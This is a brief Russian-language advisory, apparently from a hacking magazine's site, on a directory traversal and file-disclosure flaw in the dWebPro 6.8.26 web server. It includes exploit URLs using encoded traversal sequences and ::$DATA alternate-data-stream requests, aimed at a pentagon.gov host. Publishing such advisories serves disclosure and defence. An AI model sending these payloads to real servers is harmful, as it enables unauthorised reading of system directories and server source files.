Хакер #305. Многошаговые SQL-инъекции
Программа: dWebPro 6.8.26
Уязвимость позволяет удаленному злоумышленнику получить несанкционированный
доступ к конфиденциальной информации на целевой системе. Уязвимость существует
из-за ошибки в проверке входных данных при обработке последовательностей обхода
директорий. Атакующий может получить несанкционированный доступ к
конфиденциальной информации на целевой системе.
Эксплоит:
Directory Travelsal : we can list directory
http://www.penatgon.gov:8080/..%5C/www/..%5C/www/..%5C/..%5C/..%5C/WINDOWS/
http://www.pentagon.gov:8080/..%2f..%2f..%2fWINDOWS%2f
File Disclosure : we can disclosure any file in a DOCUMENT_ROOT directory by
using Alternative Data Streams
http://www.pentagon.gov:8080/..\/www/500-100-js.asp::$DATA
http://www.pentagon.gov:8080/demos/aspclassic/asp_registry.asp::$DATA
